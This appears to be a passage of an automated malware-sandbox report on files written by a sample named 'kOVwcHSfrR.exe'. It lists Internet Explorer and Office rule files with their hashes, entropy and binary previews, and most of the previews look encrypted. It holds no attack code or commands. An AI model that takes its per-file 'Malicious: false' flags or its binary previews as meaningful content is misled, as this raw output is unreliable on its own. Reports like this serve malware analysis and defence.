Preview:	.......Q}...g..`B&Z.h7.M..q).T`...".+:$....G<.z....2.3R.a..N.....y'... .1..e[..w.n.S........,.....n.2.....o.9.6..7s...R[.~K.F.....k..T...:'..[..0dN].e..f?..N4.YM...K.XHc._7T;...}......j.l...n..U..+..Z......^.....L.\|...L.!f..b~..I1.c....FeGak^..#u;G........cW.&..._W[hC}D...v.\....Y.}C.U.........i%..2..}.S=..U.2%.w4..QKY..o..n"...&?g.`S..q..........s.F.FI.(...E.?.S;!...Y4.....A..9.f.Lz....W..%.....G..3...}xf..R....b...,........N....B..c...$.;.....z..'{_.....cJ..h....o.9..Q...v.#......=..z.<E...[.m....."...-..3.(cm.[..@.0(i$.H.q...."7"..Xp.4:..M.}.....S.6UU..Q.C:..\|.$.Y...}.Qx...\|o...<.......!3.`..u&...;..1.8.......TD.j..._=....Q...Yk.x.S9..:..O....x{D?.=...:..v..O1....@..?D..yk.../..L.t....KUM.]...]z.:Z..-..m.....5Z,.....+y.z[n...(...Ab........9=..H..VW..r......7......+M..w'n..9q.k..Q.(\|.?!k.]^B_...>CZ..?S5P...!.g.H*....'...C~k...uI......?\|.p^.c..[J.L..rA.DM.m.;...........Sl..j`-.(...H.....K.1....`...0..= ..w..2.s....k..i&...r..L59

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\CacheStorage\edbtmp.log

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.207006896137282
Encrypted:	false
SSDEEP:	3072:a5PTjBAeBX+YYJAMtAgVW3IRX3SmjbGh/wdDatKjxN5ZbteJpj5MXDfdEMY:iPIfCVqW3WymHGhoyAxJIJh5Yqh
MD5:	E1EDF7C32DBAD1614FEB71FB861F99D3
SHA1:	7CB851C168F85145A19F845D11743FC8936A97AE
SHA-256:	020E9C654FD5891E7A2133E512E1F2694618593325F51228AC004DC6C6AB28DC
SHA-512:	7B72ECD253137E8C709474D64C81F02F21CEF860AB5994BE136411062CDE0927B9B1B8274985E5F0A336D96F8BFD8E1BF93E0CE59FA8012B3039305CEF1AFB75
Malicious:	false
Preview:	.........^..o..v..X...f.DR.GR.......-9../...... ....B._.N.Y.[i...?_..do.3.....F..7....A..9.B...[..S3..'(KxX...W.q.2...=!.:....r.G......-..cz...V.....r.;T.....S..NI..j. 0..w.$....#.k<>....t....f..9....s./;)....2..Qjdd..~m..^...Z..V.Q.;...-....9...l...r`N....&.,.N..c.V....Z..Y...p.H:U....J\.....M.ms..#.t.w..8...9e.........6....>E....i...$..E..P.87....Dg.. ...%.:R.=...9g^..1......-4....6+...s...8..p...z../.o<.S...TA...o.~.\w.O.M.AGA.9N,.PF6s..\...B.~v.c,..uJD.j.....E.TU......%.F{......A.{P....]!........X.^z2%$.........kJ...]..x...G....<.ymC. 0.BWj&..d.y...K......+.,.9$B..8v:'...j.W....\#fy...U...b....}G.z.e\....@...b..;...IC..\t.......fp#.L.h.P.gg..j_K..L(K.H..6o.4.a$V..h......]i..{..t.a..T...f6z..x./...Cc0b.#...r.Xs...Wa.Sf...(.-.I.!..r.]........`....=...%...Mq.....s=o.67F...:....N....~.....b.]3.LX...>..'.....lNK.....V8.../.QT#..../.z..0.o.Q..0..X..k..X....m......].BxN'..5.>.....3G1...i.....K.......N.7\|.I..jx..}.........\|...RJ.,...]....4S..<

C:\Users\user\AppData\Local\Microsoft\Internet Explorer\IECompatData\iecompatdata.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3384
Entropy (8bit):	7.948076361660843
Encrypted:	false
SSDEEP:	96:TBU4CSPLru4BAEM7mSeFsyzaqoGIRLEKlT3mna:TBU45R6EM7m/sewEKlT33
MD5:	DC7AA21ABA3512E0E4823AE14C9CF61F
SHA1:	6E2A95BBDD95959A1341704BF7CD80DF1376FC69
SHA-256:	B88EF0F10E8F61288145224A40AEFA960133FB16C01260B1598FC9E48414F9EB
SHA-512:	E5EE6B1E79EC1AC1EF7C609723C710F42E972B5F2136D9D4CA5D93BB39B7D5547B95C12A8573D8FC1539A2A2866A6076A783B85D5398AA1F42D5EDCB5C730440
Malicious:	false
Preview:	<?xml.._..s..?.U.y;}+...jI[8..8..>b....S...R5qP.....L.h>.t.zj.~6.vD....<.}..9s..a...1...F..l.^...D{.j...F6ft..M..m\...../.~.J.........Lj\|].'.=.'91.}..Hn.O]..6...$-.m.iO../-.Nx...`E#...ta.M.-...o^..w...P.B..W.....b... ...5.Z.....1...R!...C. -/..h.......!.........N:.C@..3w....Iq.^).5d..+NI.."..F...(......_.z....U.\.....).G.....).?.....t..Y[...../[.?...._.NR..\|R$........M@.3.B.............q[...'.b.s..V.de.......YlG.K...g...O....z....AT.\.8......t.&..D..L...w.q.M.d....{#..#0.o.>..L..[.....Z..F....?25.eqU....A,.\.[.qZ.ua..2b...].s.B...9..MDgr.....,.x.e.J.........:...Nl.98.&.....q2....=.Dx..C[>...].Ov-G.]YabGkc-0...v.Oz{^-.*H....J..X.".......S..lO....g..@-....f.V.86.F}...r......:..'.R..H.D.E..S......:.k{...<y;...(,.....x....jE<F...6.j.n.J...1...9.A..........;.}.K..+o..e.Q.6#.Ra..3..%.S.......v.n....C.,.V...I...7?....\.eG&..D...\U..?.Y..f...c......;.........&.;>.u{8..h....F..)...>.u........P.B..+.c.%.iM.bu.q.E...C.\|...]..J.....M.I....X....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\Personalization\Content\Anonymous\Insights.json

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	724
Entropy (8bit):	7.680412220351677
Encrypted:	false
SSDEEP:	12:fCeBgHMu9VLeLlkt3sJ11aI5mZjy1F5ThAOc6VZIk2nBuwoqw1cii9a:aHMujEkt3sJ1gZjS5ThxcUIDBXw1bD
MD5:	8858BA2DB25CC45DB80BE7C7D0779611
SHA1:	C99211033573432C99D2EB97E4054408DC5A8A99
SHA-256:	68FA5B9D557372FB3069AA11DE9F2FFEF16A621AC3A759CA74305FC4817C1E4C
SHA-512:	35D1707549B2B9B939C147412BEEA362F5E8282D960866BB2FFE966ACB23CF8700653371CE356698A0CB5E87D88F9082D618C0A2BDD5EC32B1671A688E86635E
Malicious:	false
Preview:	{ "Me.......m.]Qx..@..y.......Y._......xL...JN.{M6Lh........CoB..~\|+J...'a6@.;...,..A.....7q....P.~}....VhE.r ....3v3`...-..l.........o.L..FM...a.c.I..K.x....{Xx..}...x?_k.{.Yy$.....;4...X..n..K..S.r5.p.y..y~....p..m.......4.N........8.c]...B."....T.<...1.(7...1....^q.6oS.c..k.9..PH..:3.....#.\|....l.1.Q]Nk=. O#&....S<.,T\|..e...d.Q:..z;..U......G......NSD...d.....1.J.A".....^..-.eT...3xs$.O......]1..R.h.....d.........!j...rJ.....ib...T.p.).x.Nu..b.9.\...n....C..2..a$.O....:O3.........x..=BRk..6...S..6l^...L.:......S.+..y...p[+.s!...`..y.Om..j..+.n..Wi].......N...i....\|.~...@..D.z_.L=...Z..Z.z..!.^G....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1062891
Entropy (8bit):	5.5302178934981905
Encrypted:	false
SSDEEP:	12288:mZaaRsXSZlV0N8x5thr291gess3TylunXf:mvR8
MD5:	510699FBD429AFAAB191B1C5A7B7676A
SHA1:	4C8EB529AC9EC0086915C471D6E163907FA42745
SHA-256:	230B066B586FD7D541450A916E5D74712A06CD2A0F8709ACC1C344C3208604AE
SHA-512:	D4BEC3AF6F0977DCA65AF82BA49D21A142C547833EE3ABFC2BAD242C6CC0D832D90BD8C15F77DF0B2923FCEE8DAD76265EDAECDED94D0B35DC352871ECB6B276
Malicious:	false
Preview:	<Rulea...U_.d...d..1..r....hi.E........P..i.c.M..........A....r..p^..n..Qrs.jy.RW..].m.f.^...........Ok.9n...e.).#.-....D..}..8...4@.S..~K-K....-QV%.S#h.PC.>....G..Y......G..........a7.>..QC..Y..z\|.$..e:.r Jf.}...v....k...F.o.....WH.?....!:C^.3G..p.........3.te{.i...`..]d.Z:.m....CHh..A>.t..;..'`.<....i...x...L..!..o...L....^1.T...P....._.._.w.;.L..Oy.....F.......g....X....T.b.C..YTu2P...7l....c.:..og4.2I...H.../.F.....w>..=[.K$..@...K...8.z.....BLw\|...7.{\|..E...'....g.\...Z3.8{B..T....i.E.....8.N.q9.G..$.@x........]....H....%.F...un\2.. 1n.......Y.KB'....sz)..J.1?...F.sn...te...Of.....H0#.....0......5.oG?......=}1.hE..T..G....'...[-.....wb;..a...[:...3.M.....3......-.)U..q&...........[,.....w..Jf\P..tNI'.(G.B..6.../M...0KW...(P.....dM. x.!.....@..P5.v.C..y..2.'.+.J..<4)....-j+ru$...O...e.....E..:(..?..K...i..&G....^..Io...2.X5.#o.u....P=..L;..\|fj..n...B...(..5a..bHa..NA.......Tdb...*.Wb.H .0....X.2_..^1..@.&X$=S...u3.7I.G.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120601v3.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	3675
Entropy (8bit):	7.944833838719514
Encrypted:	false
SSDEEP:	96:y9qTkdtoPui6VwoZBHpfoeuuRm2SOo14pKb3ua:y9ekc8OoZBJwNsSckx
MD5:	849F6337FAF72EA9D43AFFEA7F1F8F05
SHA1:	FE4F40C68F6EAF6CA03E30AB4599D67D37125D38
SHA-256:	783AA20AB74B183EEE95B604FA65DBB468BFACF3596423720CFCC12ECD0E86ED
SHA-512:	455F8DD3040106D2820BDC1638ED119AEC76AFC5AE4A63A41C225ACC50D073B3F91847698104B2E2FA3737C6FBA30C346694155A59EADCE0AEC8F2D2B44AE6E7
Malicious:	false
Preview:	<?xml..O....A...<.........Y...s..l....FYV=...]r..Q..4..&....,DgX.aG...Q...H.G...}T...N.....T.....zX.2.=&...!(.}E].A.m.....Q..>..k...%2l.C.e..L.Q..#....WM .......ZW.e...Ea~.PR~0w.R..`.eh..u.k...... ..u.=.R.......;Gd.H.N.~.m.~[.T.}.U..p...Y...Q.R.r..pi.3.1.<..oS...Q......uS...E.p.q...l........../ ...,K...-i}#.$....K.n.d...{E......7O#.^S..D...s.o..gb..%...@?.$..Ba..L.?fo.u..LO..%.o..n....)..;U..c..ah..-..f.w..)f...3........Z...AT[...A.....1[.!...D@....dFT.z.....q..+..M.....Kv...AAbu.}.I{.x..8.B........y...2....._.....N.V........S....`.#l...fo.C....)........j..T...qF......R.R..8.~62t...NI......Z..'....6Z....x.c......2.}D..9i.xu1c=..u.&.4.R2.....}..E?%.R9.}]/.j<........M......&VU.}.R...5.w..ti..$.)U...]B9..a..2z.W...5......}...C5....3.,..@.br.P...........U.~.X....5./)RL.?..h.<n .8.T....mt5.h8h.?@..>3..~.......dD../....5F....7Dul(.s#....H&..G$....jHPE..U....p....9.qT..P...?.B.\|$...\..5V...n..k7.}(..L7...(8EZL.3..v25nm.8a..9..b..C...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120602v8.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2924
Entropy (8bit):	7.943467301926624
Encrypted:	false
SSDEEP:	48:3rw31toehxUuWGf2LntpyBCA8Kba1/ke2vTTjOtpNWeQ4Jzr3X+U7rDylwyD:3rw31uehxLWksnqBzyrqTdtYiUvVa
MD5:	E0CC452EEB5953CF87352F808351F431
SHA1:	86A20A45D13A6259B1FBDCD549AEF3862114AF67
SHA-256:	31321A0E292C71849324907251681F3CCB3589D39AAC1B244D475412F6F38B7C
SHA-512:	3BCE3BD73D71F538D7A5D1533EE58CD2BDFEBD84C5D880B3B80DC31FCB435E04BD4D3AFA2359DD789A96B64AF01628224A98398D74DF66DAE394D32126F34690
Malicious:	false
Preview:	<?xmlPG..:..H.N.....'...xD;E.g..H...~....E..8&..L&......:.j..5.'.W..4..u..9.3.:A.h2.P....m'qW..._`..1..)0.!6..KI#5.Y...ng....{........V.....nk...u4H%$R:a..3..."p...A.....%Bf..=T..H.r?....sh[\.......^...H.{<....nZ.M..DKk]...7....itB..\|2..J.>+.FO.u../....8`.d..E.qCD....4d].t.2.n..J4..]..H.8o..d..z(.b.l......../UN^\.?...,XM.$....Q.....<)..\b..#..]..I..T.8..Vy.=I..u.d.... .Q.a.]D.......;+.n.m.....`.^.R...........V.<t.=..o3.+...><....K....Ey...8e0x.b.3.%.$%.9..f.a..... s....."....l.k..+..n.%....N..K_<}......!e...u.4.......'...5MA...:.W..3...M..X...m%%zS.k..r&d...T=....ON.n..6Ea.S..4.Y......C..7.....4..,.k>...q$D.:....kr.+%.q.HP.N...M..#OYk5u..9N....4$..(.'#s..kRx.&..TY.....`.6.....).w9..r.[._l`.f....&\|.vC.I..z(.P\|vdZ.....>8z./.}..;...=[....f..#....s.H..[RM.-3..3l.'.0.Y............<s.%...?.....{d..<.,8./...7q.(....n.@.T..;..YQ..........+o=....l..3.wVq..}..Hw........r..-S.......?.....h..%....P....A...-....5o...........2.u...=f9d.f..R.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120603v8.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2461
Entropy (8bit):	7.9289302251100295
Encrypted:	false
SSDEEP:	48:OJeo4RZGYEBNYEyxx7Cg+7AoEJ9d5ECLmnj26qKKEtB/6JkbwhSq0L08yD:OYFqNBY7Cg+0oo5RyjzqKKO/6ScQL1a
MD5:	1EB99B97FF6F7CB446A4BD5239F3A41F
SHA1:	5A5CA0AE01445E4D5C5F9633249E4C827F1FDB71
SHA-256:	1459505858C233019DE9900F37B152D31D5B9982372E76A53EEED4B37C4DFB99
SHA-512:	2BD249FDF4055DB66F4FF992C8BF12E73148AAFB0DB2FBEEBBCC7B299779C77CF87D1BC761C277DDE6F23EF801DD36A426BA4DF79FD53EBCAF9C8B3CC7A10657
Malicious:	false
Preview:	<?xmlN.L.f.<..A~9...^.It.@xl..^..c...sf29.4\|W.~,.E..Js8U....\|...............I..aI..8......o...nF.6D....".oR..>.EB..BP9.....hW.h.F..r.R}.,/3.[.J.&.....#...l._...k.S.,,.iOy.{...y.y..."@j..0...3.7$..1....._Lj..V.a!.z~G..d...-......<.n.Z.Z./.F'.4.&..3+M..<..8.o`>.).L&.].jZ...en\...h...d.[.lB:~_..u.......r.5......T#..S...........J/.\....I]n....Ws@.4..K.U..F.,.."..{E.%...Cj2...J.GX>L7NE.U...l.....L..]QmJ%q.p...r....v.,...w.z.]V....AZ.....3...7Z.5..{.g.n.4!.g.{...B.SH.....Lz.~.=8.3 Z..c3Bij.1:9.Q.)...+.. k.L$..B...'.{E~.B.:.~a7..b.A.H..z[Z.H......<..?...e.U...@.?1...\|Y...t.Tj9W....1....5..V..aT....W..I..G7...0N`.......KV...W.!..-..c.kB@..~.?Q.7..M.;..Lj.....j..#..*8K....>...6E.....v..z.......\|....I.....;.V].p........_..^V,..A^...la....{O.@..Q..(I(."..3.u.....+......i..D.H..H....=......2.#E.5.M.i....+../z.B...x..Y{.....Te.N...%..m.N..k.~.......e.<..i..."...7...Ehu..U1.......'$...]..'.UNZ.o\.J.rC....K.ww.e.....@..q.....z...6.E..x..w.c.N..!.v....&OO

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120604v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	758
Entropy (8bit):	7.69145317300465
Encrypted:	false
SSDEEP:	12:Hcyw6+xQhKltz0vSkH6p4ZnWhVzHeh8Kv+kEUwVKuAIXKGwBMoZgqOwHoqw1ciik:i6kJ0BH60WhVzQ8KmAIDwB4qOaw1bD
MD5:	39BE6862F585728A781D80070E302567
SHA1:	1274220E099C122AE0AAA3F7A0D04CA0C3612CA9
SHA-256:	D51F8E928B902136051190C7928E226BC9792119C246628D7F971A40CB5EAD16
SHA-512:	E8F73B9B703F5F78D6D899431C37A4D570A6089FFC87CE22AC028D6D3C15E82D5DEC5259AC49D5D6D8A30EBD805DA7EF21FD6140D5CF98FCFBB3EF5FF79B1DCD
Malicious:	false
Preview:	<?xml;.PF\|.L.`.T..LB?.L...........].kT)<...b..~...z..X.i.F<.J=....<.a-...QOn....f..hp6..>N.a....`O...L/.\.......9.k...Z..?'..S.E..O#..i/.H..n.....2..3K..W..bgi..t....L$..2.!6.P;........_....1.u.FIZ.e..N_.....n...].`....V.-.n;8.).Z...4.$....=......-,.......\|..K..Y....=.J..p.peGg...y.@:Qv..@..[.$.....Y...y..[.f.X..w.....M_f....G.....u.U.i#n~.).f$%.B.:...&@..(.....t.l.$...0..y..%.V..../>3.U.XP.n..mM.'..F<=..f..n......El.5!R..Z0.....T)mK..{(.9..PBV.e..F.w#.q$..-...M.T.5...8 .g.rWK ...9IA...6M..+B ....@.z..6....."vi...<.P".........?........f..y).M....M....<.C......mZ.......</....p........!O3..Un...d..p......}....3..^.K..5k...b\F..2.....TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120605v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	1210
Entropy (8bit):	7.798695956774231
Encrypted:	false
SSDEEP:	24:dW1NwJO5aNwUxr+Gyo22Z8twQVPO39gxThdmmrNQSo0FyiXXw1bD:ATnaekyGykZIwdkGT0FJXyD
MD5:	0AF02F0C1C58185962BD2FFFFB81C3DB
SHA1:	49F9C93C610DD30E42705E6031439A82FA3BF674
SHA-256:	16C7364C796430FA28A732143C0E01D8A5176FC00A6D05EE42BC37F786ADD15D
SHA-512:	DD8EDBCC97EC34CC9C4BE3CC9F4E5B5929B361779F0137DF37C5BDB2BBD2B158E716C1CC4111A5C8FAEFAC2C7DBDED1C20A8CBF7E6F1C4A5BF84EB2BF17C80CA
Malicious:	false
Preview:	<?xml .,.u.3.Q..........i.vI.V.@A...R.c..mL1..]..q......(....&.t...7.=Z.[....+.2.GQ.}.o.;u...../Y.E.J...Bq...v]..y.....3..bRw.........!.G.vih.c.}....m].^....}.%B/.q......................i....!.p.........Ea.R..(\|@..N&..(.W......p....T..[....@5....W\.}.M.h;.C.v.g.3b...b..y,...i.w..&.S2...4.bw..X.0rJ..i..wv.....yss.?..IC;.?Yk!W..flF..!..Q....]\|.3..4...Q..l.....v.f.]l....X.6W....2c....o.[.M.....99B...VN....@...a......\|...i.MV)....N....'s.].6.1.R.M......=.,.M...J.u2tO.....]..k...L.j...g.2.^a...\|.p7.....C.g.2.\..@P.....8..k....k.....u0...hK..F%..Wa.{Q.....k.:..}.5pF..?..2"\.m.Ld.._...vL.N .1[Q.D.J.4.....>-....:).=W.<d)..%o2A..^..XHu..PD...\...y9d&7K.u7.....c.....D4.7.n.!.}....Y.+..0.J.m5.g..6..6..0.>pI..8.=.\}.,.J....C..s..'....j...].....V..9....";@..d..(....@..G-.N5.C.+..A...4...w.G.\...w..=Q1..9?.......v...\|F.rJ.al...........*...77.p...I.0!.e.....3}r.\..,#I..........r`..,.<..F...$.....Rf$....1.EEf?f..:.ri..P5.@Ets....Ly.....b.....^j.s.X.%I

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120607v1.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	537
Entropy (8bit):	7.523941454116356
Encrypted:	false
SSDEEP:	12:9lcgqvRQJNESCXL+1OnB2kYzlnoYeQiZmoqw1cii9a:9GtE4LgcQkSljw1bD
MD5:	30FA3D3945B2C55B369F01D3A7FB6374
SHA1:	4500168EC734E2EBCE76EF33A3E4D1B869A8E9D1
SHA-256:	E27FEAF75DB55DA34424E93C9B6F3F8399427A4F9E81CB223A3E75E20C1B3384
SHA-512:	CB429AA954CF3FBEA5360DB284AA44F2116EB2FC478F9BC3F42E4AA7C6C706D3FFD8BCE214566739CE46E7E49E5350676660420568D7FD15CDE0438867BDE054
Malicious:	false
Preview:	<?xml.P.&v.P.\E5..G....B0..TD.6%....C.....S...aL..3...}..Q..Z.p.,..<T..{h..E.I............0.L.......qB0...q1.v...P.f.1.....4eH.:...X.h-.. .B[..X"J.<....`.z...\|....A)E.B.#.^'..F..).s:.@O..I.=.....4.o.`..F... Y.Idw.f/.1.`...:..t.7....Vv6;>...v...e.{8{Y.P._...OPU.+.D.d.....U....:..=T.....zU.\..........$Jz.c..j....(7...q..k.t`b...<....;.#2..b....6J.3~\|.d.f.x#?..C...g.6.'....]].&@..8b8.7.R.f.......W-O.Y._..]...`..z.,8........V....m....Y.h.zTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120608v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	2493
Entropy (8bit):	7.922072723066009
Encrypted:	false
SSDEEP:	48:EyhZJKx3p1CyRl2xZWR5rFbXaUdHG3vUJ+rtF8XrztxKHYyY2yD:EyhZOZ15RgxZWXrFDaUwfNrE7ztxgYMa
MD5:	D42BE89A73F3D34BD5AAEDF7682B1AD9
SHA1:	03E86B3CD01CAE0BEBD09370EF14254FCFFFCEF2
SHA-256:	219DCD21D99BB05DB5B819C7523DE410E4D93A931885F8ADCB45DA09952AD495
SHA-512:	8B8B93131F9B3BEC0EC2925B38CCBB1BCFDEE372BB2B54A43862CCCB7147704BFE176A2C5EBC38AE9F7F4E1E712C6A9DE28FB3630248EF5C9A387914B699CEA9
Malicious:	false
Preview:	<?xml.....].._..T5K.V.2.gl.CJk.&M......ow..3!FHJ..E......f........f.....]...g.:rK{/>.....P..jj......%]...L.....BY..Iqj.....Ja.6!...~~B\|.t.&]Y....0...E.=.......2....".}.mj.&....hA.Z3.F...^G.]>..T.........m>:.ye.%.7s.%....X4........o{.k..t......H.../.m..i..&..h.z.Z...$.fw{.......2j..n...AW...l.zc"..;x-W.!_.B..2.Z.i#r[.z0.........yL.{+........J".a......P>..r..B...m.P.\1..:K....q.H..D..?~.h v.....;.a.yB...@......$il....Xt.I.}.x.M!n..8.{w.m....q.-9...R}g..6.Igf...BN..n!..8..'..[...u...w...?."g".L(..a.......!.L."....K.?.....5V5......).^......c...8.z....l1...7x..(c.#.:ZE..y.cc..hLZb..<.5.{H>.A/0.fm...zc.L.>...($J#&.I.c.8q<..9.tR_M.r....%.C..Q0....}`...I$.J%&.5.U..2L..oF.%.W?)........7..r....8...rL..o]....}.._..../W.3Qw...<.J..v.mR.2..Wy`]s.E.+%....kS4....&/X.1...H.'A...c.....3v....o.I.....i.z-"#RmWG.+....xj.[...z...&.(.....~.L..y.Y..*..[;B.y....ze..Wcz..........cC&N5.4.x.. .LO,.............[N....L..'..\|.Wc......+.D=m.."L..>...M.G......:

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120609v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	741
Entropy (8bit):	7.7092051079196455
Encrypted:	false
SSDEEP:	12:rykYLPx7pmy4b/q8FsEqx8KDjLFUDACATzyS2WycXVTgOq7boqw1cii9a:2LFpmyexriLNCATGSRFTgOq7rw1bD
MD5:	A2C417D6C211FE920FCF61472BBD4B4A
SHA1:	4C067445EBDA12F542BA0E63DC18055FBC5CBFFF
SHA-256:	0AC9B552BD546B8F12362E72408E6271F708BB42C965CB322C0DB3EDC2359ED3
SHA-512:	48868712C55B15BBCEF62D63C41EFDDBC0640C5B4436B4B3DE8D4D83025D65DC9C0E99721E6357462C715A2D7DE85038E950D69D7B2A8121DB33391589A2ED32
Malicious:	false
Preview:	<?xml.Y...2...yd8....`k..pX...'d......&.....F..5...#@'Q.j..$..M.e6..D=..T.n..KDd8.....Mv.,...t...Iz..].....R.'...vy{...p...d.Q4Z..............C...b.."q/..g..E.=]......3.%...7%....P..V.U......<.D..g.~...].]c.[&.2#x.ch.;.6..+../.{..G....?*.y<.0.g..z.../e.......p.....V...<N.\|..A.U.....N+T....!&......+.E..`.".'....K.6...)...~.].}. 0!3.1.9G.O....n.... .GP@....&.g...\C`s....i...u...z.P.p.urA/Ok^3..../<m.})........t:0...Rf..2s.`..\|B.{.D.NT..10........V.qj..5....5.U..2..<aq...O..h..f...i..%A%...o.n.1.$x....Fn..f....O...bh..8v>.M`..=.\9t.N...)TL.....Fb.M..r2^O.).1.B.]..\.....3~...3CK.#... '?#)~7......yk.xh..;G......:.pKp..^N.TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120610v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	807
Entropy (8bit):	7.761465592189868
Encrypted:	false
SSDEEP:	24:JY/GKXjQzpgmmMDUv+bvQyijV2BnJw1bD:W/GKXczpg44VB2BJyD
MD5:	9608CE92484D05B91C2FFE376CEA4D5D
SHA1:	4A180116C57E786377F6BE6233A0EA9405660EBB
SHA-256:	5FEE70A8815167CDB308FB561ABBCA6FD5E683D1DC2AD57473849EFDDCC08317
SHA-512:	6152E348880003738780CF035ADB1E0B5248387E3D74CEDC265EA8C9422BCAAB9FDA46EC55B16822EAB3BD2090A4BDC0AA3EAABBCC73CC9AC06C16EB75D33AB8
Malicious:	false
Preview:	<?xml.P..w.".D....>m=.+.s.H.u.,.f......!jy.(.TG..a..X^..KB........vh...RE.?.V.Q(Z..\|.*P....NW..i....U.o.=....q.....l.GR/.h.FK...HP...#.o.eC.O.D.g?...A......y...09 ..],~.........<...T.f.-n....$.<.i.1.k....w4G..!j..Q.hK...nWlnY#o]..s..5R....i.....r... S^.....V"EIF.._.......c..V.....'.55.~...%.?..,)...ga.dP.K...m..^G.U.,........#.M...F.L...W..[4:.?...%.j..B"........[).".....u.SL`...o.w..)G.'.b..@.h6.....T.5..P_..2..C9.....Z..N.S.L... .!.j..)..i9.&..j{.......;k.hi-....v.B6.).Q..&..c.......(..........[..)D.S.d."{.$......$7...........=.D.6.%..w.7/.....$).u.U?-............AKp........]..c......$..LE.........$2....^.....l0K..aZ.n.F.;.5...k-,..R..%..S.......P..a..I...u@;.#B.Bp.-.\...j....,TkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120611v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	748
Entropy (8bit):	7.745072342679113
Encrypted:	false
SSDEEP:	12:TSiLBQKhFyfuFgv1NG6W3Op8m3slnNn3cOtNbGkf3PDML0acXwLJFpzsOoqw1ciD:Wi1QcmUUN/MOpErcQNy6PDPDazs+w1bD
MD5:	8E4A00000CAA42EBF685A046910A57C1
SHA1:	ADA314DDD2175D1AA38FBDFE5526120B7A8098E2
SHA-256:	E0F51802CBB16959F40A40943D9E486CC35D7C8046AB19250B4EDAF7E49127EA
SHA-512:	873411C062FB2982F6A4A9D955686E293F20C64282B5238679F0AEEC25E966AF8F94FDEC1837DC53498ECBF9BCF8227889FA368C4AC2C5716B2D2E0DB182884B
Malicious:	false
Preview:	<?xml..yN....-..i.,X.@..N...op..w.v..P..z+...R D).D.L......3V..M.%..Y..`.a...CH>$.V...N..j..;3.B.e..$34>.t.@........Q...Q..<I....K..S3..\.]u..m...$.<y.V..D.G...[..qB.........Ar........J.l.2.\|E....p..@...2.$._).....D0:....I....H....q.G.O....H....'.@....z-.\| WM<......)...;.......f\|..[.x%.}. .@d.P.U-....L.> +gYO.!L5....1o.mU.V....\t..[..a....'V.)m.?f..>L..]..l........i.0$......y......4.b.M..R.2..TNa....k!u(..Z.RY....?.T..*.n...y..%\X....%.....8..E.~.<..S)....2_.kA~v.j...U..gaMB.#.X....J{?d%..&Z.0.w}..Lzs=.)..bC8../.x.0.......{..^o...'..6.0....w...G..R.L..i7.h'.L.b...L..Ln.l..As.V.u..T.\P^..GNsD.0.7...\M.E..}...qbA..D.eW...m.d..kTkVHfCIIwaAyDJuFpBEgzIZgY7IXD6C9ormRAzIf{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule120612v0.xml

Download File

Process:	C:\Users\user\Desktop\kOVwcHSfrR.exe
File Type:	data
Category:	dropped
Size (bytes):	804
Entropy (8bit):	7.748436970125864
Encrypted:	false
SSDEEP:	24:Oi85fdDcuFiFaTKU5JXVPTrZPc+Zd7Y+phM38w1bD:Oi85lTFIUhTrZk+weWMyD
MD5:	6E92CAC264269362D4004F6663BFE13E
SHA1:	3BFC767AA8AD81124457D9AA3BB21D63A6DC9539
